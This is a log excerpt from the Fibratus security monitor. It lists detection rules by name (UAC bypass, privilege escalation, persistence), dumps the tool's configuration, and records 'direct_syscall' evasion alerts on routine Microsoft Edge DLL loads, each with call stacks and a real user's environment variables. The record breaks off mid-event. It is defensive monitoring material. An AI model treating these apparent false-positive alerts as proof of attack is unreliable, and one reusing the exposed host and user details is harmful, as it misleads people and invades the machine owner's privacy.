source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:25:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:25:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:25:10+01:00 level=info msg=bootstrapping with pid 15328. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:25:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-net=>true max-buffers=>36 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false buffer-size=>512 enable-fileio=>true enable-dns=>false enable-thread=>true flush-interval=>1s enable-vamap=>true enable-handle=>false enable-audit-api=>true min-buffers=>16 enable-image=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false flush-period=>1s index-name=>fibratus enabled=>false trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false] http=>[ serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST endpoints=>[]] amqp=>[ tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus enabled=>false durable=>false vhost=>/ timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false enabled=>false skip-allocs=>false scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:25:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:25:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:27:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2332404 + Pid: 14632 + Tid: 15112 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-09 18:27:16.479353 +0100 CET + Params: base_addressâžœ 7ffcdef20000, checksumâžœ 678716, default_addressâžœ 7ffcdef20000, file_pathâžœ C:\Windows\System32\Windows.Web.dll, image_sizeâžœ 638976, is_dllâžœ true, is_dotnetâžœ false, is_driverâžœ false, is_execâžœ false, pidâžœ 14632, signature_levelâžœ UNCHECKED, signature_typeâžœ NONE + Metadata: evasions: [direct_syscall] + + Pid: 14632 + Ppid: 7936 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:14632 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_14632_UQVAIIAOGTUMQARM EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1156 EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EFC_7936_1262719628:1 EFC_7936_1592913036:1 EFC_7936_2283032206:1 EFC_7936_2775293581:1 EFC_7936_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806ae742714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806ae674909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806ae748ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806aec72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806aec71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806aec690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806aec621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806aec6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806aeab2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffca2995014 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffca27efca0 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffca27f00b3 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffd014e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffd014e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd01554294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffd014f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd014f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd0151fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcfe81d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffd00cf7a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffd00cf759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffd00d144fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffd00e7d25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffd00cc923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffd00cc8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffd00cc966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffd00cca6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcdb04d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb04bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb04a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb057afe C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffca2167fc2 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2167dc2 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2164bbf C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2171b24 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2170b80 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2150d21 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca20786ff C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca209b228 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca212d325 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca212f4a9 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca21b55f6 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca22f4a8f C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffd0082e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffd0156c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-09T18:27:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2332479 + Pid: 14632 + Tid: 15112 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-09 18:27:16.4826062 +0100 CET + Params: base_addressâžœ 7ffcf8a30000, checksumâžœ 144589, default_addressâžœ 7ffcf8a30000, file_pathâžœ C:\Windows\System32\usermgrcli.dll, image_sizeâžœ 94208, is_dllâžœ true, is_dotnetâžœ false, is_driverâžœ false, is_execâžœ false, pidâžœ 14632, signature_levelâžœ UNCHECKED, signature_typeâžœ NONE + Metadata: evasions: [direct_syscall] + + Pid: 14632 + Ppid: 7936 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:14632 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_14632_UQVAIIAOGTUMQARM EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1156 EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EFC_7936_1262719628:1 EFC_7936_1592913036:1 EFC_7936_2283032206:1 EFC_7936_2775293581:1 EFC_7936_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806ae742714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806ae674909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806ae748ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806aec72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806aec71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806aec690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806aec621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806aec6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806aeab2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffca2995014 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffca27efca0 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffca27f00b3 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffd014e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd014e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffd014e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffd01554294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffd014f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd014f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffd0152d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffd0152b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdb084282 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcdb09cdfd C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcdb026f70 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb057565 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdb057cfb C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffca2167fc2 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2167dc2 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2164bbf C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2171b24 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2170b80 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca2150d21 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca20786ff C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca209b228 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca212d325 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca212f4a9 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca21b55f6 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffca22f4a8f C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.66\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffd0082e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffd0156c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-09T18:27:23+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2332774 + Pid: 14632 + Tid: 15460 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-09 18:27:16.4983697 +0100 CET + Params: base_addressâžœ 7ffcde8b0000, checksumâžœ 710378, default_addressâžœ 7ffcde8b0000, file_pathâžœ C:\Windows\System32\MicrosoftAccountWAMExtension.dll, image_sizeâžœ 692224, is_dllâžœ true, is_dotnetâžœ false, is_driverâžœ false, is_execâžœ false, pidâžœ 14632, signature_levelâžœ UNCHECKED, signature_typeâžœ NONE + Metadata: evasions: [direct_syscall] + + Pid: 14632 + Ppid: 